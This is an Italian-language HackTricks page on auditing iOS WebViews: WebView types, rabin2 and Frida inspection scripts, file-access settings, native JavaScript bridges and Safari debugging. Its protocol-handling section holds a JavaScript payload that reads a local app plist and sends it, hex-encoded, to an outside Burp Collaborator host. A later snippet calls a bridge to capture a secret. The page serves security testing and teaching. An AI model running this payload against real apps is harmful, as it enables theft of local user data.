iOS WebViews

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Il codice di questa pagina è stato estratto qui. Controlla la pagina per ulteriori dettagli.

Tipi di WebViews

Le WebViews sono utilizzate all'interno delle applicazioni per visualizzare contenuti web in modo interattivo. Vari tipi di WebViews offrono diverse funzionalità e caratteristiche di sicurezza per le applicazioni iOS. Ecco una breve panoramica:

  • UIWebView, che non è più raccomandato a partire da iOS 12 a causa della sua mancanza di supporto per disabilitare JavaScript, rendendolo suscettibile a iniezioni di script e attacchi di Cross-Site Scripting (XSS).

  • WKWebView è l'opzione preferita per incorporare contenuti web nelle app, offrendo un controllo migliorato sui contenuti e sulle caratteristiche di sicurezza. JavaScript è abilitato per impostazione predefinita, ma può essere disabilitato se necessario. Supporta anche funzionalità per prevenire l'apertura automatica di finestre da parte di JavaScript e garantisce che tutti i contenuti vengano caricati in modo sicuro. Inoltre, l'architettura di WKWebView riduce il rischio di corruzione della memoria che influisce sul processo principale dell'app.

  • SFSafariViewController offre un'esperienza di navigazione web standardizzata all'interno delle app, riconoscibile dal suo layout specifico che include un campo indirizzo in sola lettura, pulsanti di condivisione e navigazione, e un link diretto per aprire contenuti in Safari. A differenza di WKWebView, JavaScript non può essere disabilitato in SFSafariViewController, che condivide anche cookie e dati con Safari, mantenendo la privacy dell'utente dall'app. Deve essere visualizzato in modo prominente secondo le linee guida dell'App Store.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews Configuration Exploration Summary

Static Analysis Overview

Nel processo di esaminare le configurazioni di WebViews, si concentrano su due tipi principali: UIWebView e WKWebView. Per identificare questi WebViews all'interno di un binario, vengono utilizzati comandi, cercando riferimenti a classi specifiche e metodi di inizializzazione.

  • UIWebView Identification

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Questo comando aiuta a localizzare le istanze di UIWebView cercando stringhe di testo ad essa correlate nel binario.

  • Identificazione di WKWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Allo stesso modo, per WKWebView, questo comando cerca nel binario stringhe di testo indicative del suo utilizzo.

Inoltre, per scoprire come viene inizializzato un WKWebView, viene eseguito il seguente comando, mirato alla firma del metodo relativa alla sua inizializzazione:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Verifica della Configurazione JavaScript

Per WKWebView, è evidenziato che disabilitare JavaScript è una buona pratica a meno che non sia necessario. Si cerca il binario compilato per confermare che la proprietà javaScriptEnabled sia impostata su false, assicurando che JavaScript sia disabilitato:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Verifica Solo Contenuti Sicuri

WKWebView offre la possibilità di identificare problemi di contenuti misti, a differenza di UIWebView. Questo viene controllato utilizzando la proprietà hasOnlySecureContent per garantire che tutte le risorse della pagina siano caricate tramite connessioni sicure. La ricerca nel binario compilato viene eseguita come segue:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Approfondimenti sull'Analisi Dinamica

L'analisi dinamica comporta l'ispezione dell'heap per le istanze di WebView e le loro proprietà. Uno script chiamato webviews_inspector.js è utilizzato a questo scopo, mirato alle istanze di UIWebView, WKWebView e SFSafariViewController. Registra informazioni sulle istanze trovate, inclusi URL e impostazioni relative a JavaScript e contenuti sicuri.

L'ispezione dell'heap può essere condotta utilizzando ObjC.choose() per identificare le istanze di WebView e controllare le proprietà javaScriptEnabled e hasonlysecurecontent.

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

Lo script viene eseguito con:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Risultati Chiave:

  • Le istanze di WebViews sono state localizzate e ispezionate con successo.

  • L'abilitazione di JavaScript e le impostazioni di contenuto sicuro sono state verificate.

Questo riepilogo racchiude i passaggi e i comandi critici coinvolti nell'analisi delle configurazioni di WebView attraverso approcci statici e dinamici, concentrandosi su funzionalità di sicurezza come l'abilitazione di JavaScript e la rilevazione di contenuti misti.

Gestione del Protocollo WebView

Gestire il contenuto nelle WebViews è un aspetto critico, specialmente quando si trattano vari protocolli come http(s)://, file:// e tel://. Questi protocolli consentono il caricamento di contenuti sia remoti che locali all'interno delle app. Si sottolinea che, quando si carica contenuto locale, devono essere adottate precauzioni per impedire agli utenti di influenzare il nome o il percorso del file e di modificare il contenuto stesso.

WebViews offrono diversi metodi per il caricamento dei contenuti. Per UIWebView, ora deprecato, si utilizzano metodi come loadHTMLString:baseURL: e loadData:MIMEType:textEncodingName:baseURL:. WKWebView, d'altra parte, impiega loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL: e loadRequest: per il contenuto web. Metodi come pathForResource:ofType:, URLForResource:withExtension: e init(contentsOf:encoding:) sono tipicamente utilizzati per caricare file locali. Il metodo loadFileURL:allowingReadAccessToURL: è particolarmente notevole per la sua capacità di caricare un URL o una directory specifica nella WebView, potenzialmente esponendo dati sensibili se viene specificata una directory.

Per trovare questi metodi nel codice sorgente o nel binario compilato, possono essere utilizzati comandi come i seguenti:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Riguardo all'accesso ai file, UIWebView lo consente universalmente, mentre WKWebView introduce le impostazioni allowFileAccessFromFileURLs e allowUniversalAccessFromFileURLs per gestire l'accesso dagli URL dei file, con entrambe impostate su false per impostazione predefinita.

Un esempio di script Frida è fornito per ispezionare le configurazioni di WKWebView per le impostazioni di sicurezza:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Infine, un esempio di un payload JavaScript mirato all'exfiltrazione di file locali dimostra il potenziale rischio per la sicurezza associato a WebViews configurati in modo improprio. Questo payload codifica i contenuti dei file in formato esadecimale prima di trasmetterli a un server, evidenziando l'importanza di misure di sicurezza rigorose nelle implementazioni di WebView.

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Metodi Nativi Esposti Tramite WebViews

Comprendere le Interfacce Native di WebView in iOS

A partire da iOS 7, Apple ha fornito API per la comunicazione tra JavaScript in un WebView e oggetti nativi Swift o Objective-C. Questa integrazione è principalmente facilitata attraverso due metodi:

  • JSContext: Una funzione JavaScript viene creata automaticamente quando un blocco Swift o Objective-C è collegato a un identificatore all'interno di un JSContext. Questo consente un'integrazione e comunicazione senza soluzione di continuità tra JavaScript e codice nativo.

  • JSExport Protocol: Ereditando il protocollo JSExport, le proprietà native, i metodi di istanza e i metodi di classe possono essere esposti a JavaScript. Ciò significa che eventuali modifiche apportate nell'ambiente JavaScript vengono riflesse nell'ambiente nativo e viceversa. Tuttavia, è essenziale garantire che i dati sensibili non vengano esposti involontariamente tramite questo metodo.

Accesso a JSContext in Objective-C

In Objective-C, il JSContext per un UIWebView può essere recuperato con la seguente riga di codice:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Comunicazione con WKWebView

Per WKWebView, l'accesso diretto a JSContext non è disponibile. Invece, viene utilizzato il passaggio di messaggi tramite la funzione postMessage, che consente la comunicazione tra JavaScript e nativo. I gestori per questi messaggi sono impostati come segue, consentendo a JavaScript di interagire in modo sicuro con l'applicazione nativa:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interazione e Test

JavaScript può interagire con il layer nativo definendo un gestore di messaggi per gli script. Questo consente operazioni come l'invocazione di funzioni native da una pagina web:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Per catturare e manipolare il risultato di una chiamata a una funzione nativa, è possibile sovrascrivere la funzione di callback all'interno dell'HTML:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

Il lato nativo gestisce la chiamata JavaScript come mostrato nella classe JavaScriptBridgeMessageHandler, dove il risultato delle operazioni come la moltiplicazione di numeri viene elaborato e inviato nuovamente a JavaScript per la visualizzazione o ulteriori manipolazioni:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Debugging iOS WebViews

(Tutorial basato su quello di https://blog.vuplex.com/debugging-webviews)

Per eseguire il debug dei contenuti web all'interno delle webview iOS, è necessaria una configurazione specifica che coinvolge gli strumenti per sviluppatori di Safari, poiché i messaggi inviati a console.log() non vengono visualizzati nei log di Xcode. Ecco una guida semplificata, che enfatizza i passaggi e i requisiti chiave:

  • Preparazione sul dispositivo iOS: L'Inspectore Web di Safari deve essere attivato sul tuo dispositivo iOS. Questo si fa andando su Impostazioni > Safari > Avanzate, e abilitando l'Inspectore Web.

  • Preparazione sul dispositivo macOS: Sul tuo computer di sviluppo macOS, devi abilitare gli strumenti per sviluppatori all'interno di Safari. Avvia Safari, accedi a Safari > Preferenze > Avanzate, e seleziona l'opzione per Mostrare il menu Sviluppo.

  • Connessione e Debugging: Dopo aver collegato il tuo dispositivo iOS al computer macOS e avviato la tua applicazione, utilizza Safari sul tuo dispositivo macOS per selezionare la webview che desideri debuggare. Naviga su Sviluppo nella barra dei menu di Safari, passa il mouse sul nome del tuo dispositivo iOS per vedere un elenco delle istanze delle webview, e seleziona l'istanza che desideri ispezionare. Si aprirà una nuova finestra dell'Inspectore Web di Safari per questo scopo.

Tuttavia, fai attenzione alle limitazioni:

  • Il debugging con questo metodo richiede un dispositivo macOS poiché si basa su Safari.

  • Solo le webview nelle applicazioni caricate sul tuo dispositivo tramite Xcode sono idonee per il debugging. Le webview nelle app installate tramite l'App Store o Apple Configurator non possono essere debuggate in questo modo.

References

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated